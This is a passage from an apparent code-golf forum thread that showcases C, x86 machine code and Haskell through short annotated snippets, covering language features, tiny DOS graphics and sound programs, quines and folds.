`asm` is to be used is defined by the compiler. The above is an example of Linux gcc in-line code on an Intel platform. The original Unix had a small but non-negligible fraction of its code in assembler. Even today, if speed is of primary concern and portability absolutely isn't, you'll see it used. On compatible systems, the code above will compile, and it will be literally an isolated assembly instruction with no conventional means of accessing it! BTW `xor R,R` is a common assembly language idiom for clearing a register quickly. **Length 23 snippet** ``` union u{char c;int i;}; ``` A `union` will provide at least enough space for the largest element. You might see it used in conjunction with `void *` to provide a common "opaque" type in certain libraries. In this case, the union will usually be part of larger structure, with the structure having a field to identify the union type. **Length 24 snippet** ``` /*INTS*/int i,j,k;//INTS ``` The original C comment was delimited as `/* comment */`, and borrowed the `// comment to end of line` format from C++. **Length 25 snippet** ``` int main(void){return 1;} ``` This is the more compliant version of the length 8 snippet above. The return type and function types are specified, and it has an explicitly returned value. The convention in C is to use a return value of `0` for success and `1` for failure, or if you want to be strictly conformant `EXIT_SUCCESS` and `EXIT_FAILURE` as defined in `stdlib.h`. **Length 26 snippet** ``` typedef struct{int x,y;}P; ``` `typedef` is extremely useful, in particular, `typedef struct`. In modern terms you might call it "object-orientation-light". After including the above, the code can use `P` as a regular type in declarations and functions, with full type-checking. Unlike C++ though, you can't define operators like +,\*, or <<, hence "object-orientation-light". **Length 27 snippet** ``` #define C(x,y)(((x)+1)*(y)) ``` C has a convenient macro `#define` syntax. A common newbie error is to omit inner and/or outer brackets, resulting in hard-to-find operator precedence errors. **Length 28 snippet** ``` struct f{int s:1,e:8,m:23;}; ``` C can explicitly define bit-fields which can be assigned and read and manipulated like any integer. The above is an approximation of an IEEE single-width floating point data structure. **Length 36 snippet** ``` f(unsigned x){return!!x&!(x&(x-1));} ``` In many languages, you don't need to care about how numbers are represented. In C, you need to be intimately aware of their internal representation. The best example of this I can think of is determining if an integer is a power of two {1, 2, 4, 8, ...}. Those not familiar with C will do loops and shifts and all manner of stuff for O(log(n)) run-time, not bad, but above is a function which will do the same in O(1) run-time. I'll leave it as an exercise for the reader to confirm it works, but it really does... The `!!` convention is often used to coerce an integer from non-zero and zero to 1 and 0 respectively. Many C developers like to use these kinds of tricks (often at odds of those who value code clarity). Super keen C developers can confirm that the above will work on ones-complement and signed hardware. For those wondering, you're almost certain to be working on twos-complement hardware right now. Only the really lucky (or unlucky depending on your perspective) need to worry about this! **Length 48 snippet** ``` #include<complex.h> double complex c=3.0+I*4.0; ``` C99 includes support for complex numbers. As you can see from the code, it takes the form of a modifier for a real type. You could also use `int complex c=3+I*4;` but internally it coerces to a floating point type. The above code will compile in gcc using `gcc -std=c99 -c length-48.c`. If you want to see more of the internals, try compiling with the -E switch. For my version of gcc, the declaration above becomes `double _Complex c=3.0+(__extension__ 1.0iF)*4.0;`. Note that the complex type is a significant addition to the language, not just a few cheap macros. This is just a teaser, when we get to more than 125 characters, then we can start having some real fun with complex numbers! **Length 51 snippet** ``` #include <math.h> main(){double d=sqrt(sin(3.2));} ``` For various reasons, C doesn't automatically link to the standard mathematical functions such as sin, cos, tan, sqrt, etc. So if they're used, but not linked, the developer will be presented with the linker error **undefined reference to 'sqrt'**, or some other error. In gcc, the code above will compile and link using `gcc length-51.c -lm`. Note `sin(3.2)` will return a negative number, of which the square root is not legal in the real domain. In C, a special value `NaN` is returned to indicate this error, which the program is free to ignore! In C99, there are a lot of new exception handling functions to provide very safe and fine-grained control of these kinds of math errors, which just about nobody uses! **Length 63 snippet** ``` static int w;static int X(int x){static int s=0;s^=x;return s;} ``` Or formatted more sanely: ``` static int w; static int X(int x) { static int s=7; s^=x; return s; } ``` As you might have guessed, this is all about the keyword `static` which has more than one meaning in C. In the first two cases, `static` is telling the compiler that integer `w` and function `X` are not visible outside of this file or compilation unit, i.e. they are internal. These functions are not intended to be called externally, so they might not check the arguments for validity, and cut other corners. Because they have internal scope, you can redefine `w` and `X` in other files, and they will usually be separate. In the last case, `static` indicates that the integer `s` retains its value between function calls. The first time `X` is called, `s` will be its initial value `7`, when it is exclusive-ORed with `x`, the new value will be retained. Internally, although it is implementation dependent, the usual memory organization is that `s` is residing on the heap, specifically initialized memory, while the argument `x` is residing on the stack. Where variables reside is important if you want to implement recursive algorithms, for example. A gotcha in C are clashes with global variables. Until `w` and `X` are actually defined as `static`, if they are defined globally somewhere, then `w` and `X` will refer to the global entities instead. Here `q` and `w` may not be initialized to the same value, because a global `w` is being used to set `q`: ``` static int q = w; static int w; ``` If a global `w` doesn't exist, the compilation should fail. Here `q` and `w` will be initialized to the same value: ``` static int w; static int q = w; ``` Typically, designers will reduce name clashes by adding a distinctive prefix or suffix to their global variables and functions. In C99, `static` has gained another use, e.g. `int Y(int a[static 10]);` which means that there is a function `Y` which takes an array of *at least* 10 integers. **Length 74 snippet** ``` void f(register int*p,register int*q,register int l){while(l--)*p++=*q++;} ``` Or laid out nicely: ``` void f(register int *p, register int *q, register int l) { while (l--) *p++ = *q++; } ``` The keyword `register` provides a hint to the compiler that using hardware registers would be beneficial here. The above function will copy `l` integers from `q` to `p`, using hardware registers if possible. Sometimes the speedups could be significant. For example, in the 68K microprocessor family, the line `*p++ = *q++` could be translated to a single instruction `MOVE.W (Ap)+,(Aq)+` vs. six or eight if you didn't use `register`. The 68K microprocessor had explicit post-increment and pre-decrement modes, so the savvy developer, if he knew the platform, would tailor code by using `x++` and `--y` vs. `++x` and `y--`. These days compilers mostly ignore `register`, other than not allowing addresses to be taken of them (e.g. in the above `&l` would cause a compiler error). **Length 88 snippet** ``` #include<stdio.h> int f(int x){return(x>1)?x*f(x-1):1;}int main(){printf("%d\n",f(12));} ``` Or with a saner layout: ``` #include <stdio.h> int f(int x) { return (x > 1)? x * f(x - 1): 1; } int main() { printf("%d\n", f(12)); } ``` Ah, recursion! The snippet is a complete program to compile, link and run. The function `f` calculates the factorial of its argument `x` by using the recursive formula f(x) = x \* f(x - 1). Factorials get big really quickly, so for example `f(12)` is the largest value you can get in a signed 32-bit integer. For an example of **really** recursive code, look into na√Øve implementations of the [Ackermann function](http://rosettacode.org/wiki/Ackermann_function#C "Ackermann function"). Smart compilers can optimize the function, using the hint `inline` and "unroll" the function when constants are provided as arguments so that: ``` f(12) ``` Becomes: ``` 12 * 11 * 10 * 9 * 8 * 7 * 6 * 5 * 4 * 3 * 2 * 1 ``` Without any function calls required! Other compilers can reorganize the function: ``` int f(int x) { return (x < 2)? 1: f(x - 1); } ``` And implement something called tail-recursion. This in effect replaces the last function call to a simple goto and lets that function deal with the return. The benefit is less stack thrashing, faster and smaller code. In assembly language, these kinds of optimizing opportunities are really easy to spot and can be implemented by something called a "keyhole optimizer", which basically looks for small patterns and replaces them with something faster and/or smaller. **Length 117 snippet** ``` #include<stdio.h> int main(int c,char**v){int a,b;sscanf(v[1],"%d%*[\t ,]%d",&a,&b);printf("%d\t%d\n",a,b);return 0;} ``` Or: ``` #include <stdio.h> int main(int c, char **v) { int a, b; sscanf(v[1], "%d%*[\t ,]%d", &a, &b); printf("%d\t%d\n", a, b); return 0; } ``` C borrowed from languages contemporary at the time, the concept of a universal I/O which could be consistently applied to any device, whether console, punch card, tape, disc or printer, but in true C form, it allowed the developer to create very terse but powerful statements. In the above snippet, it will take command line input, parse two integers separated by spaces, tabs or commas and output them. It takes advantage of a newer `scanf` specifier `%*[\t ,]` which will: `[\t ,]` pull out all tabs, spaces and commas, and: `*` ignore them. I remember revising some C++ code where the developer was doing everything the "pure" C++ way with `<<` and an arsenal of methods like `find` and `substr`. It was at least a dozen lines and it still couldn't handle commas as delimiters. I replaced all that clunky code with a single `sscanf` line like above! **Length 132 snippet** ``` #include<stdio.h> int main(int c,char**v){while(--c){++v;printf("|%s|\n|%5s|\n|%-5s|\n|%.5s|\n|%5.5s|\n",*v,*v,*v,*v,*v);}return 0;} ``` Or: ``` #include <stdio.h> int main(int c, char **v) { while (--c) { ++v; printf("|%s|\n|%5s|\n|%-5s|\n|%.5s|\n|%5.5s|\n", *v, *v, *v, *v, *v); } return 0; } ``` The functions `printf`, `sprintf`, `fprintf` etc. use format specifiers to define the width and padding of the output. Compile and run the above using command line arguments to see the various outputs: ``` > main xyz 123456 |xyz| | xyz| |xyz | |xyz| | xyz| |123456| |123456| |123456| |12345| |12345| ``` Note the `.5` limits the output for the specifier to at *most* five characters, while the leading `5` ensures the output is at *least* five characters, with `-` indicating left alignment. Combining them sets the output at exactly five characters. [Answer] # x86 Machine Code ### Factoid: x86 Machine Code is the assembled version of x86 Assembly that the processor actually runs. It was developed back when memory and storage space were expensive, and was designed to be somewhat backwards compatible all the way to the Intel 8008. Keeping executable code small was one of the goals, and it utilizes variable length instructions and a [CISC architecture](https://en.wikipedia.org/wiki/Complex_instruction_set_computing "CISC architecture") to help achieve this (which has had the drawback of making it more complicated to improve performance on modern processors). This, along with the bare-bones nature of assembly and machine code in general, gives x86 programs the ability to be extremely compact. ### Length 1: Now for the first program: ``` 0xC3 ``` Open up a hex editor, enter that byte, and save it as test.com. You now have valid MS-DOS program which immediately returns without doing anything, since 0xC3 is the instruction 'RET'. This does however show another interesting aspect for golfing with x86: the .com file format. This executable format has absolutely no header - the file is simply loaded into memory starting at address 0x100, and then execution is started at 0x100. This means no bytes wasted on metadata! ### Length 2: Our next program: ``` 0x4D 0x5A ``` or 'MZ' in ASCII. Ok, I cheated a bit, that really isn't a useful program, since it corresponds to the instructions ``` DEC BP POP DX ``` Which aren't actually useful for starting a .com program. In fact, that's the whole point of those two values - no reasonable .com file should start with them! .com files were limited to 65280 bytes in size (64KiB - 0x100), so when larger programs started to be needed, a new format had to be developed. This was the .exe file format, which does have a header. However, MS-DOS needed to keep the .com extension on certain components for backwards compatibility, so it needed a way to detect whether a .com file was really an .exe. They chose the sting 'MZ' as this magic number, and to this day, if you open up a Windows .exe (or .dll) file in a hex editor, you'll see they start with those two bytes. It amuses me that even the most modern Windows program starts with a compatibility constraint from the 70's. ### Length 3: Now for an infinite loop: ``` 41 E2 FD ``` Which translates to ``` start: inc cx loop start ``` This program increments the value of CX (which will be >0 to begin with), then executes the loop instruction. Loop is an excellent example of a CISC instruction since it combines 3 simple operations into one special-purpose operation: it decrements the value of CX, checks if it is 0, and jumps to the target label if not. There are also forms of loop that check other flags in addition to ending when CX is 0. We could have done just 'jump start' for a 2 byte infinite loop, but this was more interesting. ### Length 4: A program that is minimally useful: ``` 40 CD 10 C3 ``` Translated to assembly: ``` inc ax ; 1 byte int 10h ; 2 bytes ret ; 1 byte ``` This program sets the console to 40x25 characters, clears the screen, then returns to the command line. AX is set to the video mode we want (1), then the BIOS interrupt 10h is called to actually set the video mode & clear the window, before returning. Expect to see more of these BIOS interrupts in the future. ### Length 5: We can now implement a pause program: ``` B4 01 CD 21 C3 ``` Translated to assembly: ``` mov ah,1 ; 2 bytes int 21h ; 2 bytes ret ; 1 byte ``` This program tells the BIOS to wait for a key to be pressed and echos it to the screen before returning. This also demonstrates how on the x86, some of the registers can be partially read or written. In this case, we set the top byte of AX (AH) to 1. On 32 bit processors, you can also operate on the low 16 bits without affecting the top 16 bits. This ability to modify partial registers can be handy for assembly programmers, but has drawbacks for modern processors trying to perform [out-of-order execution](https://en.wikipedia.org/wiki/Out-of-order_execution), since they can introduce false data dependencies. ### Length 9: Now to actually display output: ``` 68 00 B7 07 AB 40 79 FC C3 ``` Translated to assembly: ``` ; These two instructions set up ES, the 'extra segment' push 0xb700 ; 3 bytes pop es ; 1 byte label: stosw ; 1 byte, Store Word - Copy AX to [ES:DI] then add 2 to DI inc ax ; 1 byte jns label ; 2 bytes, Jump Not Signed - Jump unless the sign flag is set (when inc AX yields 0x8000 ret ; 1 byte ``` The output is the default character set repeated in different colors. The low byte of AX is the character code, and the high byte specifies the colors to use. ![Default character set repeated in different colors](https://i.stack.imgur.com/ym5x0.png) 16 bit programs could only address up to 64KiB directly. To get around this, the x86 used 'segments' - special registers that would be multiplied by 16 and added to all memory accesses to give 20 bits of addressable memory. A program could change the values of these segment registers in order to access more memory - or special areas of memory: this program modifies the extra segment in order to write to video memory. Different types of memory access used different segment registers, allowing code, data, and the stack to be accessible in different chunks of memory at the same time. The default segment could also be overridden for many instructions. ### Length 20: Let's make something recognizable - we will use 'Rule 90' to draw Sierpinski triangles. ``` B0 13 CD 10 68 0F A0 1F AC 31 C2 88 94 3E 01 87 D3 93 EB F4 ``` In assembly: ``` mov al,13h ; 2b int 10h ; 2b - Set the video mode to 13h push 0xA00F ; 3b pop ds ; 1b - Set the data segment to video memory start: ; This loop runs 'Rule 90' to draw Sierpinski triangles lodsb ; 1b - load al with [ds:si] then increment si xor dx,ax ; 2b - xor the left and right values of the previous row of pixels mov [si+318],dl ;4b - store result to memory xchg dx,bx ; 2b - swap register values xchg ax,bx ; 1b - swapping with ax is 1 byte shorter jmp start ; 2b - infinite loop ``` Sample output: ![Sierpinski Triangles](https://i.stack.imgur.com/Ftqys.png) For this program, we use the somewhat famous 'Mode 13' - a graphics mode that has a resolution of 320x200 with 256 colors. It was used by [many popular DOS games](http://www.classicdosgames.com/video/vga13.html), such as Doom. ### Length 21 Let's see who manufactured the CPU we're running on. ``` 0F A2 66 60 BB EE FF B9 0C 00 8A 17 43 B4 02 CD 21 E2 F7 FF E1 ``` Translated to assembly: ``` cpuid ; 2b CPU ID - retrieve processor information based on the value in AX. For AX=0, ; the 12 bytes in EBX, ECX, and EDX are loaded with a vendor identification string pushad ; 2b Push all registers on the stack (32 bit version) mov bx,0xffee; 3b Start of the vendor identification string on the stack mov cx,12 ; 3b 12 characters to print print: mov dl,[bx] ; 2b Character to print inc bx ; 1b Advance string position mov ah,2 ; 2b Set AH to the 'Print character to STDOUT' value int 21h ; 2b Call the bios interrupt to print loop print ; 2b Decrement CX and jump if it is not zero jmp cx ; 2b Instead of restoring the stack, just jump right to the exit point ``` Sample output: ``` c:\misc>cpuid.com GenuineIntel ``` This program uses the CPUID instruction to get info about the processor it is running on, in particular, the vendor identification string. Most people will see 'GenuineIntel' or 'AuthenticAMD', unless they have an uncommon CPU manufacturer or are running in certain virtual machines. ### Length 26 We can now do interesting animations ``` B0 13 CD 10 C4 07 BB 40 01 59 99 89 F8 F7 F3 31 D0 AA E2 F6 26 FE 05 47 EB FA ``` In Assembly ``` mov al,13h ;2b int 10h ;2b Enter Video Mode 13h les ax,[bx] ;2b Set ES to (roughtly) video memory mov bx,320 ;3b Set up BX asdivisor pop cx ;1b Zeroize CX start: cwd ;1b Sign extend AX to DX, AX will never have the sign bit set so this zeroizes DX in 1 byte mov ax,di ;2b Copy video memory pointer div bx ;2b Divide by width to get AX = Y pos, DX = X pos xor ax,dx ;2b X pos ^ Y pos stosb ;1b Store and increment video pointer loop start ;2b CX starts at 0, so this will loop until it wraps around cycle: inc byte [es:di];3b Increment value in video memory to animate inc di ;1b Increment video memory pointer jmp cycle ;2b Infinite loop ``` And the output will look like this: ![Marching XOR](https://i.stack.imgur.com/dNLph.gif) The function X pos ^ Y pos produces an interesting fractal, especially when animated ### Length 27 Not only can you generate text and graphics in a small x86 .com program, you can also generate sound and music: ``` BA 31 03 B0 3F EE BA 30 03 B0 93 EE B4 01 CD 21 3C 1B EE 3C 1B B0 7F EE 75 EC C3 ``` In assembly: ``` mov dx,0x331 ; value for the midi control port mov al,0x3F ; command value to set midi mode to UART out dx,al ; output the command to the midi control port play_loop: mov dx,0x330 ; value for the midi data port mov al,0x93 ; midi instrument value (piano) out dx,al ; output to midi data port mov ah,1 int 0x21 ; read character from stdin, with echo cmp al,27 ; test if it is escape out dx,al ; output the ascii value as the midi note to play mov al,0x7F ; note duration out dx,al ; output note duration jne play_loop ; loop if escape was not pressed ret ``` This program uses the midi card to turn the keyboard into a piano. To do this, the midi card is set to UART mode, which plays midi notes as soon as they are received. Next, the program waits for a character to be pressed, and outputs the ASCII value as a note to the midi card. The program runs until escape is pressed. ### Length 29 Let's use an [iterated function system](https://en.wikipedia.org/wiki/Iterated_function_system) to generate a Dragon Curve fractal: ``` B0 13 CD 10 89 D0 01 CA 29 C1 D1 FA D1 F9 73 03 83 E9 7A B4 01 CD 16 B8 02 0C 74 E6 C3 ``` Translated to assembly: ``` mov al,13h start: int 0x10 ; This does double duty, setting the video mode to 13h at program start, ; and calling the 'draw pixel at coordinates' interrupt when looping mov ax,dx ; The next couple instructions are our IFS, the algorithm is aproximately add dx,cx ; f(y) = 0.5x + 0.5y sub cx,ax ; f(x) = 0.5x - 0.5y OR f(x) = 0.5x - 0.5y - 1 sar dx,1 ; sar cx,1 ; jnc skip ; This jump handles pseudo-randomly switching between the two functions for x, ; based on if the previous value of x was odd or not. sub cx,122 ; Magic number, chosen since it provides sufficent 'randomness' for a filled in ; fractal and a good scale to the fractal. 102 and 130 also work. skip: mov ah,1 int 0x16 ; Get keyboard state, zero flag will be set if no key has been pressed mov ax,0xC02; Set up AH for the draw pixel function when int 0x10 is executed, ; AL = color, CX = column, DX = row jz start ; Loop if a key hasn't been pressed ret ``` Output: ![Dragon Curve](https://i.stack.imgur.com/TO3fm.gif) Pressing a non-control key will cause the program to exit. This is based off of [Fire Coral](http://www.pouet.net/prod.php?which=64484) by Desire on Pouet.net. ### Length 52 This program is a bit of a double feature, it shows a bit of the x87 floating-point co-processor, and self-modifying code. ``` B3 07 D9 E8 B1 11 DE 0E 32 01 E2 FA BE 0A 24 56 B1 09 DF 34 AC D4 10 86 E0 05 30 30 50 E2 F5 44 B4 2E 50 89 E2 B4 09 CD 21 FE 06 03 01 4B 75 D2 CD 20 0A 00 ``` When run, the program will output several mathematical constants: ``` 1.00000000000000000 3.32192809488736235 1.44269504088896341 3.14159265358979324 0.30102999566398120 0.69314718055994531 0.00000000000000000 ``` These are One, Log2(10), Log2(e), Pi, Log10(2), Log e(2), and Zero. In assembly: org 100h ``` mov bl,7 ;Counter for the total number of constants to print start: fld1 ;Floating point constant to load on the FP stack, ;start with 1 since it's op-code is the lowest mov cl,17 ;Multiply the constant by 10, 17 times to get the mult: ;printing part as an integer fimul word[ten] loop mult mov si,10+'$'*256;ASCII new line (10) and the end-of-string ($) ;characters. These are used both as push si ;a constant memory location, and stored to the ;stack to format and printing mov cl,9 ;print 18 digits (9 pairs) fbstp [si] ;store the integer part of the floating point ;number on top of the FP stack as a packed ;binary-coded decimal number (1 digit/nibble), ;and then pop the number off the FP stack convert: lodsb ;load a pair of packed digits db 0xd4,16 ; AAM 16 ;ASCII Adjust For Multiply instruction using ;non-standard base 16. This puts AL/16 in AH, ;and AL%16 in AL, unpacking the digit pair. xchg ah,al ;Swap the digit order add ax,'00' ;Convert the digits to ASCII values push ax ;Store digits on the stack loop convert inc sp ;AX now holds the 1st 2 digits to print, mov ah,'.' ;so to insert a decimal point, the 2nd digit push ax ;is replaced with a '.', the stack pointer ;is adjusted to overwrite 1 byte, and then ;AX is pushed on the stack mov dx,sp ;Load DX with the start of the print string mov ah,9 ;Load AH with the 'Print String' constant int 21h ;Call the 'Print String' interrupt to display ;the constant inc byte[start+1];Self-modifying code - increment the load ;floating point constant op-code to iterate ;through all of them dec bx jnz start ;Exit when all 7 constants have been printed int 20h ten: dw 10 ``` Floating point math on x86 systems was originally handled by the optional x87 co-processor, it wasn't until the 486 that it was moved onto the same chip. The x87 also had a rather different architecture, it was stack-based, with 8 80bit registers available. It also had a variety of rounding modes, precision, and maskable exceptions that could be set. This program prints the values for seven constants baked into the processors. It may seem odd that instruction space would be wasted on simple constants like 0 and 1, but keep in mind that the instruction set was created when memory was small, and these instructions are typically 2 bytes smaller than equivalent operations. The program also uses an obscure instruction, FBSTP -'Store BCD Integer and Pop'. Back when the x86 was developed, operations on [BCD](https://en.wikipedia.org/wiki/Binary-coded_decimal) numbers were more common, and the x86/x87 has several instructions specifically to simplify BCD math, such as the AAM 'ASCII Adjust for Multiple' instruction also used in the program. In the unprotected memory model used by early x86 programs, there is no distinction between data and code. Because of this, it is easy to iterate through the sequentially encoded 'Load Constant' instructions by simply incrementing the appropriate value. ### Length 64 Cross-posting my entry for the [Mandelbrot Challenge](https://codegolf.stackexchange.com/questions/3105/generate-a-mandelbrot-fractal), a program can be written that displays a 320x200 color Mandelbrot fractal in only 64 bytes. ``` B0 13 CD 10 C4 07 99 89 F8 B9 40 01 F7 F1 83 E8 64 FE CE 31 DB 31 F6 89 F5 0F AF F3 01 F6 0F AF DB 70 19 0F AF ED 70 14 01 EB 70 10 29 EB 29 EB C1 FB 06 01 D3 C1 FE 06 01 C6 E2 DB 91 AA EB C6 ``` In assembly: ``` mov al,13h ; set up graphics mode 13 int 10h les ax,[bx]; trick to set video memory FillLoop: cwd mov ax,di ; di is the current position on screen mov cx,320 ; convert di int x,y screen coordinates div cx ; CX is the iteration counter, exit the loop if it hits ; zero before the value escapes. sub ax,100 ; center the fractal vertically dec dh ; center the fractal horizontally xor bx,bx xor si,si MandelLoop: ; Fairly standard Mandelbrot routine, mov bp,si ; exits if the values overflow imul si,bx add si,si imul bx,bx jo MandelBreak imul bp,bp jo MandelBreak add bx,bp jo MandelBreak sub bx,bp sub bx,bp sar bx,6 ; We use fixed point math with the lowest 6 add bx,dx ; bits being the fractional portion, so this sar si,6 ; rescales the values after multiplication add si,ax loop MandelLoop MandelBreak: xchg ax,cx ; Write the escape itteraction as the color stosb jmp FillLoop ``` The end result is this image: [![Mandelbrot Fractal](https://i.stack.imgur.com/OXIgI.png)](https://i.stack.imgur.com/OXIgI.png) This program uses fixed-point math to generate the fractal, since it takes fewer bytes. The lowest 6 bits of the 16 bit registers is considered to be the fractional part of the number, and the values are rescaled after being multiplied. [Answer] # Haskell You might want to read from the bottom up. Sometimes I refer back to lower snippets, but never to higher ones, so it might help understanding. Readers who do not know Haskell: am I clear? When am I not clear? I can't tell. # Length 86 snippet A foldable instance for our tree data structure (snippet 23). Foldable is a type class - as in, a class(/group) of types. These are parallel to interfaces in Java. They essentially generalize over types, unifying types which have common characteristics; for example, they can be added together (`Monoid`), containers (`Functor`), can be printed as text (`Show`, which we have met already, in the `show` function), and so on. This one unifies data types which are list-like in that they can be iterated over or flattened to a list. In this snippet, we define the instance by defining `foldr`, which essentially iterates over the data type from right to left. Now, we can use a bunch of general pre-written code. First, we define a helper function to get a singleton tree, to avoid all the clutter: `s a = N E a E`. Now: ``` sum (N (s 3) 7 (N E 5 (s 8)) === 23 product (N (s 3) 7 (N E 5 (s 8)) === 840 toList (N (s 3) 7 (N E 5 (s 8)) === [3,7,5,8] ``` and so on. Here's a picture of our tree: ``` 7 | \ 3 5 \ 8 ``` # Length 70 snippet ``` primes=sieve[2..] where sieve(p:xs)=p:sieve(filter(\x->x`mod`p/=0)xs) ``` This is a prime sieve! (note: `/=` is what `!=` is in other languages) This works by defining a function `sieve` which filters the list and keeps only the numbers which are not divisible by any previous prime. It is defined recursively - to `sieve` is defined as to split the list to a first element `p` and a tail, filter from the tail any number divisible by `p`, `sieve` the remaining bit, attach `p` to the start of that, and return. Again, we are working with infinite lists here - but the computation will halt in time as long as you don't require an infinite amount of primes to be computed. ``` take 4 primes === [2,3,5,7] ``` # Length 68 snippet Finally, a quine! ``` main=do putStr s;print s where s="main=do putStr s;print s where s=" ``` In your first time reading this, you might think that the output of this quine would be missing the quotation marks, and why would you once write `putStr` and once `print`? It sounds the same. In Haskell, `putStr` is a function that just prints the contents of the string it gets to stdout; `print`, though, prints things to stdout. So, `print 4` is equivalent to `putStr "4\n"`, but `putStr 4` is nonsensical - `4` is not a string! So, when `print` gets a value, it first converts it into a string, and then prints that string. Generally the way to convert things to strings is to find the way you would write it down in code. So, the way you would write the string `abc` in a string in Haskell code is `"abc"`, so `print "abc"` actually prints `"abc"`, not `abc`. How fortunate I have enough votes now, I won't have to golf these things # Length 33 snippet: ``` main=go 0 go n=do print n;go(n+1) ``` The important thing to note is that we didn't use a loop. Haskell doesn't loop. Haskell recurses. Haskell doesn't have loops. It's deeper than that: **Haskell doesn't even have Control flow**. How, you might ask? Well, it doesn't need any. On with the details. This program prints an infinite increasing sequence of integers, starting from 0. `go` prints them starting with its input, then `main` calls it on `0`. `do` is a special syntactic power of Haskell. In this scenario, it just combines I/O actions, just like `>>` does (see snippet 22). # Length 26 snippet: ``` map f=foldr(\x y->f x:y)[] ``` This defines the `map` function, probably familiar to everyone, using `foldr`. Notice that although we didn't declare `map`'s type, the computer somehow knows its type is `(a -> b) -> [a] -> [b]`, i.e. given a function from `a` to `b`, and a list of `a`s, return a list of `b`s. How did it know?? ;-) # Length 25 snippet: ``` main=putStr"Hello World" ``` The standard Hello World. Note the types: `main` has type of `IO ()` and `putStr` has type of `String -> IO ()` (a function from strings to I/O actions which return nothing). # Length 23 snippet: ``` data T a=E|N(T a)a(T a) ``` This is a standard definition of a Tree. How much easier than all those lines required to define a tree in Java, C, or anything else. (see snippet 10) Let's break it down: `data` - this declaration declares a data type. `T a` - a tree containing elements of type `a`. This is the type we are defining. `=` - every value of `T a` will be any of the following, separated by a pipe `|`. `E` - one of the possible values of `T s` - the empty tree. `N (T a) a (T a)` - the other possible value of a tree - a node. Each node consists of the left child (`(T a)`) the element (`a`) and the right child (`(T a)`). # Length 22 snippet: ``` main=putStrLn"y">>main ``` A Haskell `yes` function. `>>` is an operator which combines and sequences two I/O actions. It has type of `>> :: IO a -> IO b -> IO b`. `main` is defined recursively by itself, as the I/O action which first prints `"y"` and then does whatever `main` itself does. # Length 18 snippet: ``` fix f=r where r=f r ``` A better definition for `fix`. (See snippet 14.) The problem with the first definition, `fix f = f(fix f)`, is that every time we call `fix f` `fix` recalls `fix f`, which recalls `fix f`, generating endless copies of the same computation. This version fixes it by defining `r` (result) to be the result; as such, `f r = r`. So, let's define `r = f r`. Now we return `r`. # Length 17 snippet: ``` f n=product[1..n] ``` This is the functional way to define factorial. # Length 16 snippet: ``` f n=(\x->x+x+x)n ``` `(\x -> x + x + x)` is a lambda (someone thought `\` resembles the letter.). `(\x -> x + x + x) n` is the lambda applied to `n` (this is exactly the same as `n + n + n`). `f` is the multiply-by-three function (also `f = (*3)`) # Length 15 snippet: ``` sum=foldl (+) 0 ``` This defines the `sum` function using a fold. A fold is basically a loop over the elements of a list with one accumulator. `foldl` takes as arguments some function `f` and some initial value `x` for the accumulator and a list `xs`. The function `f` should get as input the previous accumulator value and the current value of the list, and it returns the next accumulator. Then the fold iterates on the list values, applying `f` on the previous accumulator, and then returns the last accumulator. Another way to think about folds is like the fold 'inserts' `f` between the list values and with the initial accumulator in one of the sides. For example, `foldl (*) 1 [4,2,5]` evaluates to `1 * 4 * 2 * 5`. # Length 14 snippet: ``` fix f=f(fix f) ``` The `y` combinator. It is usually named `fix` because it finds the fixpoint of the equation `f x = x`. Note that `x = infinite loop` can also sometimes a solution, so `fix (\x -> x^2 + 5*x + 7)` won't solve the equation `x^2 + 4*x + 7 = 0` but instead return an infinite loop. You may also note that not always `x = infinite loop` is a solution, because of Haskell's laziness. This version is a time and space leak; we will redefine it in a longer snippet. # Length 13 snippet: ``` f=sum.map(^2) ``` This defines the **function** `f` that given a list returns the sum of its squares. It is the **function** composition of the **function** `sum` and the **function**`map(^2)`, which in turn is the **function** `map` applied to the **function** `(^2)` (the *square* **function**), which is in turn a section of the **function** `^` (sections were introduced at snippet 2, and composition at snippet 3). As you can see, **functions** are quite important in a **functional** language like Haskell. In fact, it has been said that Haskell is the language with the most standard library **functions** which get **functions** as inputs or return **functions** as outputs (this is commonly known as a [higher-order **function**](https://en.wikipedia.org/wiki/Higher-order_function). By the way, technically, every two-or-more argument **function** is a function which returns **functions** as outputs (this is called currying). # Length 10 snippet: ``` data B=T|F ``` This is a definition of Haskell booleans with different names. The boolean type is named `B`. This definition introduces two constructors: true (`T`) and false (`F`). This code snippet basically tells the compiler that every boolean (`B`) is either true (`T`) or false (`F`), or in other words, `B=T|F`. In fact, all data types ever can be defined in Haskell, when in other languages the number, references and array data types need special support from the compiler. In practice there is special support in Haskell as it would be very inconvenient otherwise, but for example the `Bool` datatype is defined entirely in language. # Length 9 snippet: ``` main=main ``` This nonsensical program will define `main` to be main. Because Haskell is lazy, values which would require an infinite loop to evaluate can be used freely if we don't use their actual value. Such values which contain infinite loops, like our `main`, are called "bottoms". A fun fact is that the GHC Haskell compiler can detect these kinds of infinite loops and throw a catchable (!) exception when it is run. # Length 8 snippet: ``` f(x:_)=x ``` This defines the function `f` which, given a non-empty list, will return its head. Patterns in Haskell are like Python's sequence unpacking, but generalized for all types. Patterns can either reject or match a value, and if it matches, can bind variables to values. The patterns in this snippet are: * `_`: the pattern which matches anything and binds no variable. * `x`: the pattern which bind anything and binds it to the variable `x`. * `:`: this pattern gets to child patterns, that is, one for the head, and one for the tail. If the list is non empty, it matches them with the head and the tail. Pattern matching is highly generalized. In fact, just defining new data types will automatically introduce patterns for working with them. # Length 5 snippet: ``` x=2:x ``` Whoa, there's so much to explain on this one. First of all, Haskell is lazy. This means that subexpressions will be evaluated only when strictly necessary. **Note:** this code snippet doesn't show assignment, but definition. Haskell doesn't have assignment. This code snippet defined `x`, an infinite list made up entirely of `2`. Usually in other languages `x` has to be evaluated before `2:x` can ever be evaluated, but in Haskell we can do this. Haskell infinite lists are sort of a mix of iterators and regular linked lists: they act like both (an iteration over a range will use constant memory, for example). # Length 4 snippet: ``` 2:[] ``` This snippet just encodes the singleton list `[2]`. `:` is the *Cons* operator in Haskell. In fact, the regular list syntax is just syntactic sugar for the cons operator and the empty list literal. This tightly ties in into the way Haskell deals with Pattern matching and Data types (particularly the concept of constructor). # Length 3 snippet: ``` f.g ``` In Haskell, `.` stands for function composition. Haskell can be written in a "point-free" style, which is characterized by not naming function arguments and instead using the `.` operator to manipulate data flow. # Length 2 snippet: ``` 1- ``` When this code is wrapped in parentheses (for syntactical reasons) it is called a "section". It is then a function that given some number, "fills up" the empty spot and returns one minus that number. This notion is sometimes useful in a functional language like Haskell, where otherwise a lambda would be needed. # Length 1 snippet: 